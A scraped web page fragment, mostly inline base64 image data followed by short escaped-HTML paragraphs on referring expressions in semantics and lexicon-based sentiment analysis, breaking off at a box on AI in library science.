QZoLVGyGyx4aE3+SpK7UpkCfyJcKlkqUvayeaSkFsp15sGy9bulmQQbdNs+b2t\/647iYDBkpS9IU2dLCUEg7BKR8tqT8SN5Xp\/1Cw3qdY0XzEL5DnshDXtDceQhxcVxaAvtO8CQlYChsb+frTIapG6M9cmMasVsYt2Su3O3ybgpE726Stx5pq7FMZp1Lb7baiqGlLhdkdzkkEBKlqIVCsOGdW8TxmZZMOg5DDnN3bOJbncmqcbdXIdlPW1xtTzikEqDjSgfADilFfvcqv5zO8ZjR7\/MudwbtkXHJ6LdNlTFJaaDy22Vo0onzsSGkpHglR4gem8M11w6Tvzp8D7b2lKrZDh3B9a5CUtBiUQI60rJ4q5FSNBJJ24j4qFPHDVbNY31HveWwodtmZ3b8GXPcU4iZdpLU\/QtrnIreU4X0s+09kJBXvuIcI+7UOWKt1qz6\/NwrZlTMtGbTMU6fyZLq20F5L0W7rcuLgB2jbSlIWtPke8kediroyjqzg2JWbHskul+iCy5JORDiXRMlsxffYdfbcLhVooUlkpSRskrTr1qO\/1f6aw2pV3vGVWS3wIzrUdi4yblGDMkOxWpILSkuE6LbiFaUEkhPIAo4qOfGGtFxrB8str2IQrnb35UqzdRLrc7ncOyhpuSzIhXBSJaUJ91CVGUy2UgeHAv1\/EZHUbDMnu6etgtllfkHI8JjW61cdfzqSlielTadn1262POvxCtwvnWbALHcn7Czf4NxukKJIlyYMWcwHWWmYxkFS+biUtpKOPvKISOaCopCganW7qr05ubtxixc3si5VojuyrlHFxZK4TbR06p0BRCQhRAUfQEjZ8jdyRFZZ3b1XrDusrzT8yRCTdgRHgxGphmqbtMNp1lTLnuOoKhwUjafeaVsjRFU79Gzp8IPVy2SmsYRY0R477qpcfHLbbnFKHEhnuMrdWpChzCh7nj0V8K+x8VyLGMstX1xiN3hXGAX3Wi\/CcStsuoUQ4kkf1goEEeoIPxrNFIPxP99MXVf5biOYnLBmmDSLSZsizuWaS3dHHUtJT3O4y+ntpJUUKU5tv3eYWPfRx86dPxi94nFya2YrLyAO4\/hljZgqtaIxk3BUUTwI6TJZda5Oe4D7hI5p1rdXiBoarr2k73s\/31qw18d9CujiMO6jWuVi+SyQ49EXCmvWbGYtuVGYTp3tTXXLaj2jkplDZUpTb\/ACXyCfKym4Wuil2a6jHMVR7C7LN8Vc\/tKsq+uhBI2LYPu9dgH7sfe8e3\/m+fv1cgbSDvZOvma7VJxhr566MdOMoj9Duj92s9wdXe8ctkOaYN8WpCFpet\/YdilSUFTATzCkngopKOJBCiRmcMwzJsV6u2UXy6i4LkY7kEt9TEXtxo0mVdIklxttX4ink4vjzPIpRv51dYSB8Sa4KAVcvjV8YapvqNhl5hXyPkENmxXKRktxZsMszrD7Ytm2PqPca5KdOmtAFSdJQo+SCa2aPg+W2DDWcPw69223gv9oTBGWn6vhlPkRmeSklYOwgKUG08geKgngrfyN68nxT0phquE4Rb7Xm2GW+CLm3EsWP3NphaJrydr70AAvKSoB5SgFKIcCgVbVrezWl3\/pFlmMRr7fcZRj7jqoMwSJT3tarldUKaX4lOIcCH3PeUUFSCEE6QEp8VfRQFHZrlSQoaNPGG4p3qJamWfsPeW4eTRHFFVrm3HH2H3ZcKCuIt4pW2y06VIU9HYRso2krBSUnzWb6Z2qyMZBdJ2MxrlDtLNltNmjxJ1omwltpiqlkEGU2guApfSNjkQUnkfI3YvbHps12SkJ3r41M7NfPeQxbjiueTnrKBZpEFa1sT51gu95kX9Uhhsulb8VxCAhJSlpLKg6UdhKkoSlKAYV9xfKv5M+muP2Lpd1AFwxWzRpEJ+0y7C6YEr2FyKY0gXJ1AcKUOK5FLOvIIIIKR9H9pHnx4O9j9ddkpCfT4+amYapf6PsPPbap9Gf4RmUG7z7fGcuF0vDlhEVchoBJZYbtjpUAVOOKSVtfhHvKB4pq6aUrUmIUpSqFdD\/Cu9dD\/AAqUfkf14\/Tbnv7SXH94XWiVvfXj9Nue\/tJcf3hdaJXQc\/tXPnopSlYV+0DR86qW36VCZPmpjZ8V6N170pSlApSlBwajCBG9sM8x2vaCjt93j73H147+W6kn4+agiZP+tfYzb1eyBnue1cxrny1w4+vp53Xy+S8ZZ5T8\/wDpO2t5ngl1yO+WjI7Hk4s8+0R5sVDioSZILckNcyEqUAlYLKSCQpPrtJrS0fR8gtZQX49ymR7Oxh7ePstF4LDksNuRxMWjiPv0Rj2+e9KDpBHug1m+pV+yGNmGN45a8zGMxJ9vu06TM7EdxIMYR+Hc76SO2O6sq4lJIH4k1r2N9dMivCLJ38atzjctNngznUTVIkC4T4SZCS1G7aiY6e4kFxSwoAOnie0eWtizUzKPo+faG2v2iLm0+3w5cQQpLDSFht1AiNxgohDiOSglvaefNA5q2gniU5eb0Ttc1m+sruzn+XGr40tRZSS0bkGgtSfzQGQB8wo7rRGvpYd\/2+Ezg0k3GHavrLsqlp7ai1b35MxvuBJAVHeZRGcOvC32\/A8prZrR1kyu45e7gsvFrPCutslPIurjl5X7KiOhuA5yYcMcKdWUXFv3FJQApBHLSgabxq9s1YOk8vF7+3e7JlBQl3vouDL0NLntDS58iYlLa+QLKkrlOoJ94KSR4CgCOknpAufk0q53DIy9Z5N+j5KbUiKGyucwyy20VvciVNpVHadCUpSeaRtRTtJ0wfSVuS8fuuRRsYhSYVrESY9MafmCO3bX0SFe1kLiJecbSYyveaaWkocS4DxSsjr\/AC45nb5kiRerTAfTHZyeREjW2cO1Kbt8iO22HS4zySo93QUhXHRJKSSAlvFMrnMPo63l6ww7fimUojvQ4dmt4SI5bTJEOVDWJEkc1NvLQ3FX2\/u0qHMoKykjWYuv0eXbxbYlvl5zMSPreRerglppbbMmU7Nal8ktJcCUhJaDaQvu6QtfnmSswrz14yu0ZJa8LfwiA\/kMm6It8qNGuD7rSW1Oxfvm3PZwNJZlh1Xc7fhpaU8yKvGkkvo2quxvoxPxW7Cfa8wHYdhJtUlly3JUpyE2+88whK+fuOJVJdClgcVgp0hBSDWVsPT644pdbMbJdWvq6LaYVpnoWyAuQ1DafSzx1+FSlyApSt+AylIB5EjfK41WsRW156VZFcHslRas+ctkLI57FzU2xEWl9p5tMVBR30PJUWloi8FJSEK06rSx4NaxD+jI1boC4UTMXFc0QVEvRVHciLIkOpWSl1KuBTKdQUcuXhCgtJHm8aVPHV3FfXfpZIl2HFbbZb3FtMvFLgi4xXW4HcjrcTHfZKSypzkEqEhRP3nLx+LeycJhX0drHhKILUK+y5TcFxLqe+0jkpQtbdvJJSAASlsueABtRAAGhVuUq4inl\/R9W9aZOPPZk4bU5CnRmWEwGw425Lh+zOrU7vagNlSU6GuRSSoBHDH5B9Hl+PjzyMav7jlxag5BDYDqQyFfW0yPIdPMAlKm+wEo8aJOyRrYvGuCN+DTIu1pPR7Fr1huGCw3xuMl5E+bIQppxTjjqHn1u9x9aieT61LUpZBI5KOia3euAAPSuasmIUpSgUpSgUpSgUpSgUpSgUpSgUpSgUpSgUpSgV0P8K710P8ACpR+R\/Xj9Nue\/tJcf3hdaJW99eP0257+0lx\/eF1oldBz+1c+eilKVhX7OtHzUts71UJrx61MaI0K9G6970pSgUpSg6kbJrgCux35qF9XvfWv1j7fI7fY7Ps2x2t8t89evL4V8+d5SzxmkYTMYPT2aqCM+iY6+pDxNv8ArhDCil3x5a7vor0\/D59KlTrFijFxTmFxtFqbn26MtCbq6w2h6PH8qUO8RySjWyRsD8W\/BNVx1\/6X5f1Icix8bX2mk4\/foD5U40EPrktxw3Hc5gqCHO2tJW3paNbCknW9Zy7AurOVTMwtj0DIWbddrDKbtsdm4NJhDuW5DbcNZ9t5JcTISolaWOKvJLpStSK1\/ZVy2KFgF\/grnY5Gx+4wnvamVPwkMvNL7zgVKRyRtJ7i0pLg\/rKSCoEipNwxHEZstidc8ctUmSxLROZefiNqcTKShKEvJUob7gQ2hIVvlpCRvQFUhK6c9W7I5FhWFN+YtrmQXqQr6sntrfbS9NbdjSXlOzGg4jtpc5BZdV75BaPI8chdcIze7kS7riuVS51jytu5KdTkgQ3dIxekBKobXtaUspbafbKkOdokIKRzKUlUFnQsD6ZXa1FELD8Zk26W+mb91bo7jDzoKiHvCSlSgVL9712T8\/OUOF4oZku4Kxu1GVcApMp\/2NvuPhSUoUFq1tW0ttg7PohPyFU9Y8Y6yxZGJR7vDyByU3FtPtFwavjaYcEsynFzm5TIe2+t5kpbQpLbo2R5b48junSXFs0xhRZyWfdZLMixWhbyrhdFTVC6hL4m8SpaigHUc6Tpve+Px1f7CflfRvB8zvEa9XqA4p5hbbi0tKCUvKQ6h1BV42FBbaPeSUqISEklIAG80pVmIUpSqFKUoFKUoFKUoFKUoFKUoFKUoFKUoFKUoFKUoFKUoFKUoFKUoFKUoFdD\/Cu9dD\/CpR+R\/Xj9Nue\/tJcf3hdaJW99eP0257+0lx\/eF1oldBz+1c+eilKVhX7MNK8+amNKGhWPZIFTGj6V6N16aPSua6oJI812oFeaX2lOlkOJ7gTyKdjevnqvSsYiwWtN7VkKYwE9THsxd5H+j3vWt6+XnXwolt\/DE5r1EseCP2eJdWLhJlX+YuBbo0GGuS686hhx9ekoHoGmXFH\/AOXxsmpVlzjGcgtCb7bLuwYZQ8tSnwqOtsNOKbd7iHAlbZQ4hSFhYBSpJB8itV6sYbm9\/veEZPgyLK\/NxK8SLg5Gusx2K0827b5MU6caZdPIGQFaKdHiRsbqtc9+jv1IuuOXeBjl4xuTccrx6+2e8OzVvxmY71wlKldxhKEuFSEqWprSiDoJXtR2k57jWLwyHOrFjcR+TJlIkuRZMKK9GjOIW82qVIbYaKkFQ4p5OpJJ14BI3Xll+f2TDMbl5bcGpky3W8PKlLt0cyVMoaSsurUEeQE8FA\/I6HrVXPdD8ymWnIMRkfUDMKdeF3SJkDEp5F3Wh67NTnGlENaZ7aUFtJS4vkW2TpsDQ22P02yEdCLp0oeds7c92yTrHEkRwtuO4lbbjTL7qeO0LUlSVuBIUAsr4kjVO6dNtsOX2zIbU1d20PwW3HlsBqe32HQtIJIKVHwdAnXrrzXZ3L7KlxhESW3O70xMFZiOIcDDikKWO4Qr3RxT+vynx5qopfT2+P8AV6\/yfZXl43CsSbzDT2ClD2QSI7kFxTat6cKYkdIKQPBk79VVqfS\/oBn71rwjI79EsGPv2i1WGG5bope5uNxIkwKefBbSESSuaElv3gkIX94rkAG39GPpD7UY6Y0qab\/bTGhKCZD3tLfBgkAgLVvSdgg+deCK4m3adIsi7jiDVtuz6wkxkvTizGdHIBRLyG3SNDkRpB2RrxvY+Zs76IZnh+OYW3ji0RV2yHj1tnSbJblS1MSIMe492SWBHd7iFLlNpSSw4drJUlGuYuPDcSk3\/olYMPnwLhiSFWuNCkQ2JAMhuO2AlTJcKApPdbTpSgEuJDh0UrGw20x54R1XyLMrJimSOWKxxIGUTQzHVBurk\/7sRZLqwpRYZCFhbCU+OY\/F6ECvEdTs3+3arG5j0dqGm7Jt4hGDKMlcQpG7gJX\/ANH7WyfcI9Ekc+4Q3WSZ6XQ8avVnXiKfZLS3eTcXrU2ltuJDUYkptx1hASCkuLeb5p2UkgrABUsq1K5dGrT9s71eHOl0F9px\/dtkWuPb4ykNqbjLU4oqCV94SG39L8ni56\/ATuEWD0czK49ROlGIZ7d4rEadkNlh3OQywFBttx5pK1JSFEkAFWvJJrca1XpXiKMB6a4xg7SpCkWC1RrakyOHdIabCAVcCU70nzxJFbVW4hSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBXQ\/wAK710P8KlH5H9eP0257+0lx\/eF1olb314\/Tbnv7SXH94XWiV0HP7Vz56KUpWFfsi0Tv1qY0r081j2la+O6mNK9K9G69kG1H5161FaUPiakj0FBzXGgK5rgnVA0KaFAdjdCdfCgaArmlKaOvBAOwkbrkAAaA1XNddnetUHKkpV+IA\/rrgISDsD0Gq7VwTob1ugFIPqK4KEHxxrgOhQ2P7q70HAAA0B4rmuvIcuPxrk0HNK68wfTzXNBzSuArdc0ClKUClKUClKUClKUClKUClKUClKUClKUClKUClKUClKUCuh\/hXeuh\/hUo\/I\/rx+m3Pf2kuP7wutEre+vH6bc9\/aS4\/vC60Sug5\/aufPRSlKwr9iWlfPxUtpR8VjmlipbSx4r0br2SbUflUDKcrt+IWVd6uTUpxlC0NlMdruL2o69P\/X9+gZLSxUtpQJG6zy3Mg9GnkrZDw5cVDkAUnetfKvl4sZZjWUTJkfLE4ym+AqsTWSZBNua7c020pChKhO3FrmZHhbZTzLSvdWOR2n6jCRrxVfz+mU5V0ySfYsnRDZyxxLtyak2xqUQoRm4\/wB2tWtAttJ91wOJB3oAEpqZcWK7kWjL7z9GTA7C9Lv1ry2ZjNuju3WRc5cD6plqhtpdlTVpcbWtSFEntL5FbmkkDZUmX0xkZirPseYmX2Mqzt2y7A2pL0idIhvB6KAp+euW8JKV++WiUNEJJHEeUC28YwiwYzhNowKOwqZarNAj25hM4h5TjTKEoQVlQ0pWkgk69flUCV0\/s8XJrflNjhQYUmBBmxAy3FQ2h7vFlQK1JGwEln5H8R+WixHPVV6QenWQQIEy5Q51xt0iBElW+FIkvxX3WlIbeCI6VODgohW0jxrexVKdNupdvGTmI\/h+QhdpcSz7U1LyGeuSksDk6IzkbiNLWUkOEaKSofA1d4wlc7pqvAchyG4znJlnVa51z7vbkulbRQ46FD8CjyUR66OvXVa7ZukKYdxxyXNutsXGxNZctaIFlZhueWFscXHEqPulLhJS2lsFQT8BxpZb6WY1Hrja73Pym3XCxv3aIxagZVyByeVbWrs321tpiRm0SWkKcSXA+pfubLTbZWO4VI2jo1JylydmC8qyaBe1G5RvZZcCG7Fjlr2GP7qEOPv\/AIVcgohw7XyOgfFWJcbJZLt203a1w5nb32xIZQ5x3665A6+HpWHxzCrXit2vsy2tsts32W1LVHaZS2hopjtsnQHrsN8idD8WquIpfqr1FzK057Kl4hKzZcJUeFanYcGyTglEhEl8OyB3LRKbWji82Stpe1BogJVpNcR7tn6+gQjW7IsoXkcG6OGddVWucHWmJEt1fe7MiMy7LbZZdTttltBUWwlJQBqraynov0fzi5m+5j0vxO\/XFxpLSplxs8eS8ttP4UlxaCogb+dYm3dG7RaOj9y6P264iHAmt3JmO6xHDQiNS5DrqUNtpIAS33QhIBHhCfSpJdWYrbpvA6mWJnBoEi63y9tw8ldgIk3SNKtTUi2N2l\/i4Y7yFvM6cVw4vKV3FsJWFJCxrcuvl2yWNecCs2Pyrulu7XaW1MYtlzRAdkNtwX3EjvL0EgLSlR8+daqbZejt2g5ZZMnvOdybgmyPvSGY6lzlpWtyO6x59omPJGkunyEBXjWwCQd7yfCcNzWMxCzPFbRfo8Z3vsNXOC1KQ05ojmlLiSEq0SNjzokUk6Kq2y3rILX1NwuyM26\/XBqTjd0E9L93jylRFCZFKXX3C4kOFIVxHALUAsADW6jyrRm0nqFJtsaDkDl1Rfol0+um8kSLazZlO\/0KoYe5pKmWn2OPYIU4C6HAfwWDaemOL4zlUG\/4vaoFmiQrZLt4t1vhNsMEvusOFzSAACOwB6ed\/lWGzbolZc4y1WWzXIC31W6NbizLge0pQll19wKSeaSCTIUD6\/hH57ZcRK6KKua8AeFzuJkyvr+\/Dve1JkkN\/W0rtp5gqHuo4p4793jxIBSQKKvnUbIxMyCFY84ym8sDPsdjJkSHYkVtuAbha4zj7QQ22440uQzOintbbOnCpPv8lfQ\/Tbp3a+nOGMYPDk+2RGX5r5LjSUgmTIdfUkIHgJBeKQPPugeteGW9KMQyex2nH27bFtzNik21+3qix2wqK1DmRpSY7fj3G1KiMhQGhpI+IGrmrLiucOnZVc\/o89MJMG2Zzep0uwQH5L9gukOPI5mMjan3JjyOQUVb8FR2Nn88x0buGZDqJltgyVrKosSJaLNLixL\/AHGLMdQ489PS4tK4xUkBQZaGirfub1587RiXSay47hOOYjJu96dGOWmPa0vxbtLt4dSygJ5rbjvJTs6J87Pn1rL2jp1jFjva8igG7quDrSGHXZN7mye62jmUJWl11SVBJcWUgg8SpRGiTUxGz0rgEEkAjx602PnWxzSuAQoApIIPoRXNApXBUANkgD51zQKVxsb47G\/XVCpIGyoaB160HNKVxsb1sUHNK4JABJIAHxrmgUpSgUpSgUpSgUpSgUpSgV0Pk\/2arvXQ+PNSj8j+vH6bc9\/aS4\/vC60SrQ634pk0zrLnMqLYLg607kVxWhaIyylQMhfkEDzWk\/YvLf8AZq5\/7o5\/hXnufKeVc+emFpWa+xeW\/wCzVz\/3Rz\/Cn2Ly3\/Zq5\/7o5\/hWPKK\/WRpR+dS2lka81jm1flUtpX5V6V17JNL\/ADqW2o+PIrGtK\/KpbS\/TxQZFtWx5NYxu8PKv67MbTLS2mN3\/AGwp+5J3rhv5\/H++pja\/yqQkJPn40ZstzFd9dLI3f8CmW11uIy2oLW5dJkkMx7M2Glhycs8klXaQVlKQdFXEKKU7UmvOmEGRb8wxe2G99ttpue83bm4RjR5SAw2j26OXkJecS4SkqRyWlBc0CU8VG88ps1gyOwXHHsmYaetlwjLjy23HCgKaWNK94EFPj4ggj1BrX4WMYtbcmt71yyiZcrtEQtFuj3C5BxTQcQrakt+OSihp0c1BSuKXNK1yrNnevpvShbjbrXjea367O5PZ8TenNOITFRJS9LsoSyrilSXQtlz2gOKU4UlPbIbA7gKljbepF\/mYp9G\/Cbkb\/GtfbVjbMuW7f3LZH7KlsJcDs5nam21J5clp2NE+oq+pUeNKiOxnzpD7am1aVo6UNHX99RsftECwWO32CCFez2yK1DZC1clBDaAlOz89JHmpmJKoPDsyZyLMsCewi64zkak\/XTc\/6uziTe2GGj7FtwSnWytawnRDRCR5OlDZNTDj8a19UDIn3XGIN0gX564zb89eXG7lItrqHFswVMqQEqbSFttcO4ppKWg4EhzQTdMzHLdcchtmTyC4ZdpZksR+KtIKH+33Nj4\/0Sdf2\/Otdyfp\/hsu5TMrvM1cNyUlll95TraWyQeDe+aTxO1BIA9SfTdDWudN51ksH0a8Xn33KlRbfExmEX7pDcWCQGke80SnmSo6CUhJUokAAqNfO0W4ZREe6f4lfjKiSrIGYk2NOuxfmsSRd7IChxkNBLbam1IcbUHFlSXvISd19nYrjFlw\/GbZidnj9q22aIzDiNrWVlDTSQlG1HySAB5rF5d02xjNbhbrpeYzxk2lYXFW06Ua\/nEeR5A8K2uI1vYPgEAjdLN6XWCzTH8yul7dkWXGEzI4QlKH\/t\/c7QFaHnceMypAIJI3sk68179Pb5Jg9KbdfchE155tt1xxMdUm6OlPeUEJSrgp58BPEcyjkQNkD4Z+T046dz5L024YJjsqS+suOvP2xlbjiidlSlKSSST8TWSs+O45j0VUCwWS32yM4srUzDjoZQpRABJSgAE6AH6gKuVGo9OuqJ6i9IbR1It+K3YyLraY042ptotu911pCy0y5KDKHUjnoObShWvB+FfMXTG7Y7jmS2K0wulOP3Ny3GNFg3RFqsguVxms80vcZH1yUF\/TaDzRyJUpzaRxO\/tC3Wqz2e2RrJaLdFhQITCIsaJGaS00y0hISltCEgBKQkAAAaAArULf0exq3Q7ZZW7heXbJZXYz1vtLsvlHYVHWlbA9O4tLakIKUrWpI4p8eBTKaqzrZaIT2dW\/Jbii1WIRWORZuUnT92W4hKCpHFS0IMYeUhaSlxwcTxSAs2P0Mle3WXIZqcmRkDb+QSVN3FPaHfT2mRspb0lJBBGtA+NkeasRSEqSUp1y158\/\/wC1AstkgWNdxdhlYVc5qpz\/ADVv71SEIOvkNIHj9dTMpvT5ExrqbaL30eyuBMz3G7jkUjBrtxjt9SJlzuT0kRVqUHbc6kNx1gJUSUlRQU6A0Sas3qrj1xvF2jTMrhYp7ddrEYlqj3K+vst2W4NLWVy4zyWQVLUl5na0hp0dhISdElN2ZRj9tyjGrri1zC\/Y7xCfgSA2rivtPNlC+J+B0o6PwrHZTg1hzB2A\/dA93IHcEdbSk+A4E8gQoFJ3wT8N+P10nGwlah0aVHdybqXJi5JFvLbuRQgX47hXpSLLbkKCjrjslJV7hI9715bApK9XubGyXIvqi6TZ9oyXKrHMt0u43hbaJsRmbbo0h2I0GSH1NvslCtrbT23W1pKwob+m8J6f43ghu67Cy6ld8mpuE1bq9lx8MNMBWgAlP3bDY0APQn1JrIX\/ABqx5HbE2i6xguMh6NJShCyjS47yHmtaI8BbSDr0IGj4peOrqr8XtuR3jov08FjsxuSvqGC47vKpllKP5u3olcZC1O7O\/CvA18d1Bhq6g2jDeqjbMaRGu9vgL+qozGQS732pHsJcSW3ZKEL5kqQQgJ4715OzqwLFgPTGZYLba0WSx36Pj8cWViRKjsy3GkxiWy0pagfeSpKgoeNKCvAO6zVmwrCsdlOTMfxWzWyS6jtuOw4TTLikbHulSADraR4\/IfKrmo+SupWRR7qw7\/J9k5v+DokvGNdFX5+esT\/q5wvMNOOc+bQTwWSHTxdUtPEedXd1mybEsezvC4+fZ8cXsE2Hdy44rIXbQ09IQYnaSpxt1vmoBTmklR9SQPFbvnHTzF8+hM26\/R3i3FU4tksOlsoU4hSFHx4O0rPqD67\/ADraBxPlR\/P9VTB884hPmXHqnkCrO2idAXZrw5anm7mf55tcApPd9UDyNOc1b5FXjVanfW8liYFPnw7fciuTJsU2Z7Z9ZQmU3VV3gpXHKpT7wdBCCC60jigI8FfPQ+kIOD2G2ZQ9lkRp1ua+3IbX94Sg95bS1nid+dsI1o69fHmoNu6cR7S2mPbcryCPDQ+5IEVMhpTSVKcLikjk2VceSj434Hik401iOrk51rp57NN9rj5Lc0CNZoFqvUiM7Iuy2VBtlt5pTS3EJPJaioBIQ2pxSQEeNc6f3KJLm4o00q6G7w4VyYvlvm3V2bKhXFLUUuMlx91RG9pUj3ghSFoWnwvZulbLCynuNoUUHadjejojx\/YT\/fUCTYoEm8wr4ptftEBp5pnidJ07w57Hx\/o06q52uvjTLZc21431Beexi6sPRLFe0zrsluI5Mlqlx5qG2pzzE94OpZW0tOg37imEf0QBQr7RsRJslvJOyYrXn\/8AQK1dvpfaYyZzEK8XqNHuMiTKfjtyEqaUuQ6t10aWk+6VuL93etKI9PFbkw0GGG2QpRDaAkFXqdDXmk6S3XpSlK0hSlKBSlKBSlKBSlKBXk6rxomu6lcajLXs0Py+Ls7O85yM\/O8TT\/8A3rrB1m85\/wDrvkXj\/wC1pn\/OXWErxXy\/e\/1c2eilKVgfXjbn51LaX6eaxza6ltL9K9w4TItq\/Opba9a81jWnKltLoMi05+dR2J16OQKhqtjYtYjBaZXeHLu7\/Bx+Wvj\/AI1y2v5VKbWfjRLNV51viLdbxO5z7XJueOWvIUSshhMQXJyn4fsUptrcZtK1vhEt2K4UpQogI5kaRsU70jsFwsXVDHYs+z3i0peebkQ4l0nuSHGIa497MZoIWpRjhDJbR2RxCSlXgEmvq5BChogelYuViljl3pnJHba0q6RkpSzL176QlLqE6868JfeH\/wC4qs3jt1rfwpRnP8lidF8SWvInISpOVjFJ99UApxuE1cH4qXytYUkLdDDSO4oEBT3L11W53XLblhScds+ORLxmbM27LgyJftkN1xoBh1zs9xbzRLgLaT7wV42FKKiN7naMKxyz4jGwdm1Mv2aPFEMxpSQ8l5vWld0KGllRJKid8iST61OslhsuN21mz49aINrgR99qLDjoYZb2dnihAAHk\/AUw6V0rNLtlLeeY3erRcMRgw2lQmL3JfiJRFLsVshaiiSshYW6VpIAToJBIV4qpbrAsEWxTpsGZ09tXJi329u2YpcjI+slfWMVwSX0qQ2QtCW1hKdLUA45ycV4r6u0PlUC82S25BCXbLtDRJiuKbcU2r0UpC0rT6efCkJP9gpiK76zdQbzi7sfG7H9Vxn7hYrxdlzrlIWwy2iGlkFpLidcHFGSFBfkIDajxVWpYv17ujcNvDnrQZN\/stgdvkx15S+Dtubt7DrMgrP8AWdfkIa8+pYkkfg1V3XfG7BkKYyb\/AGO33IQn0yowmRkPBh5I0lxHIHiobOiPPmoEPB7FEv1yvwhNrculvi2l5laUllMOOXi2ylGtBO5DpI8g8vkBUy6qo43XrKu25aLpAs8W9SYNpudvDLUh9pxE2NMfUwU8kHk2mA8VOKUhHDyQCOKuMb66dQM0hWO82LHMfiQr5NtluCZcp9bjK5lnauBcPEAKS2XOHAaKwd8m9e9cdywjDbu32briVmmt6YHB+A04NMFRZGlJ\/wA2Vr4\/6PI61s1LiY5j8BppiDY7fHaYcQ60hqMhCW1obDSFJAHghtIQCPRICR4GquU2KQT1svzkm1T3LbFjzrjZYaFpcmOGAxJevCIKnCnQJSkqKwfCiOKCU75C6rJOlvWVuXOegypAQoOLt5KmnFJJB4b2fUemzo7GzrddZOIYpMiPQZWMWl+PIjqiOsuQm1IcZUorLagU6KColRSfGzvW6xMXBZVsfZFjy26Wu2RVoMezRIlvbhNNp190B7MXAg6O9LB8+CPGncFT5F9Iy+WHAoWVqVjUu5XPH38rjWiKH3XUwmWEvONrWCEo49xCO+ojale60rRFZTqL1fy20N5NbLQu32mZHs\/1rY3pEZUhMlhv2X2h0uJUW0lC5JQW1hK9BK\/eSolNjr6VdM3o6or\/AE5xlxlyUqcttdpjlKpKhpTxHDRcIJBV6n51P+xOHCZcrgMTs4lXiP7JcX\/YWu5MY48e06rW3EcfHFWxrxU8adMVmWQOWrp1kd09rYkXC0WSVKe9jdLX3qI6l+6QSpvfgpJJIBBG6rjJPpAXXH7zdY1qtDN7g2qPNecQzHdQ+VQew5LbQpavv1hlxzXBGg4Ep5K2dWLJ6V4uvGr7ittYetUHIUdqYISkoIa7KGO02CkpbR2W0tgJA4jynR81mYeGYnAu0m\/xMYtTN0mJSiTORDbEh8BPEBx3XJek+PJPjxVunSn7j9Ip4NRLtZmoMqBKmrdaaDTqlv2wT0wkSQ6VJab7i+S2\/wAXMFICfU1CzSy2CXnV7ffyXp647cbjGfTc7ldgi74+WEMoLEZviQfeaUsfetALeXySsbBumRgeESjajIw6xu\/UbXZtnO3tH2FvQTwZ2n7tOkgaToaA+VZwp2DoDZplw2Pn\/G8kNj6LZdkdudW8lOdXntrjyC0Vpdv60bC0+dEL349R49DWetvVzNZsiapOPWiQh+NkptEZElTS3H7VNEZtLzjmkJDxVsnQDfEbKgr3bNg4njkC3SbSxZovscyY9cH2HGw4hyQ68XnHCFbBJdJX+R9K9JGM45JjriSbBbnmHESG1tLitqQpD6uT6SCNEOK8rH9Y+Ts0ykUhZ+uGQOXfJbldr9amrNZcdjSTGcs8hp9qf7dOiupLfNTqiHI6ElKdgnjxICuRlsdas7urEG22myWZN1Wb8iU5LLqWuduLWglDalFJX3QlSSolB3+LXE2n\/Jx0\/EViEnBsfEeLEdt7DX1azwaiunbjKRx0G1nypI8H4ip1uxPF7RHjxbXjVrhsxG1tMNsQ220tIWEhaUhI0kKCEggeDxG\/QVMpsVPF67XeXi2SZ2xbbQiBYrd7Q1a1yVCc+79WszdlX4Uo++4\/g\/CkucvPERxlmY5TmFpw\/M7u5iUKRGuklDttlMsLuZYEBTRSvm6pkJ9qkbbC+Sg0FH3Npq2m8Hw1i5KvLGI2VE9UQW8ykwGg8YoGgzz477etDhvWhrVQj0t6aGxJxc9O8ZNmS\/7ULf8AVTHswe1rudrhx568ctbplNioent2y\/N8+w9675Q5Ptdut+QyW3GnnY4uQYufskeWsR1oYfC2A0sBTam\/vFqSkFSSPoVH4ajs2u2R3WX49uitOR2PZWVoZSlTbOwe2kgeEbSn3R490fKpVakxClKVcClKUClKUClKUClKUCuCdDdc14uLPz8UHRxX51GWvyPPxrs4uori\/P6qD47zg7zbIT\/+bTP+cusLWt9TusVis3UjKrU\/bJ63It6mtKUgI4kh9fptVaz\/AC6Y7\/qi5f3N\/wDVXjvl+Lned6\/LmydLKpVa\/wAumO\/6ouX9zf8A1U\/l0x3\/AFRcv7m\/+qsfw\/J+lx98tKFSmlDxWObc\/OpTTn517RwWSbUPnUptdY5pz86ktr\/OgyTblSm3Kxza\/wA6ktub+NBkm11JbWCKxra\/PrUptz86CXSuiF7+Nd6BSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlKBSlebjgA1QHF6qK45XLjn51FcX+dBw6uozixo\/qrl1z86jOLIB80H5YdbvPWPOP2huH7wutJrdeth31izc\/8AaC4f89daVXn\/AJPtXPnopSlYV+q7avmKlNrPjxXui3xB\/mj\/AN4\/41ITBij0bP8A3j\/jXo3XvJpZ+RqU2s\/I13bhRv8A8M\/94\/417phxxvTf\/wDI0HDbgHg+P11JadB9CK6ojM7GkEfqUa9gw0ANJP8AeaD2bcG6ktuVHQ0gD8P\/AI16pQnx4\/8AGgmNuGvdC9+tRG0j\/wBGvdIGqCRSuqCa7UClKUClKUClKUClKUClKUClKUClKUClKUClKUClKUClKUClKUClKUCuCQPU1zXRdB1W5qo7jleikjdeDiRvWqDxccqM45UhaE\/L\/wAa8FNN+vH\/AMaCK64B6nVRnFn4ipq2GiD7p\/vNeSo7IWnSB5PzqUfld1p89X82Ov8A7wT\/APnrrS6+i+qODYtK6lZVJftZU47eZi1nvujZLytnQVqtXV0+xH\/VJ\/3h3\/qro+fx28rXOnKSYpylXF9gMS\/1Uf8AeHf+qn2AxL\/VR\/3h3\/qrP8XJfKR\/\/9k=\" width=\"307px\" alt=\"semantic analysis example\"\/><\/p>\n<p><p>A reference is a concrete object or concept that is object designated by a word or expression and it simply an object, action, state, relationship or attribute in the referential realm (Hurford 28). The function of referring terms or expressions is to pick out an individual, place, action and even group of persons among others. In \u2018When Daughter Becomes a Mother\u2019 the article has used various declarative sentences which can be termed propositions.<\/p>\n<\/p>\n<p><h2>Study Sets<\/h2>\n<\/p>\n<p><p>Lexicon-based sentiment analysis is an easy approach to implement and can be customized without  much effort. The formula for calculating sentiment scores could, for example, be adjusted to include frequencies of neutral words and then verified to see if this has a positive impact on performance. Results are also very easy to interpret, as tracking down the calculation of sentiment scores and classification is straightforward.<\/p>\n<\/p>\n<div style='border: grey solid 1px;padding: 12px;'>\n<h3>The Transformation of Library and Information Science through AI &#8211; Down to Game<\/h3>\n<p>The Transformation 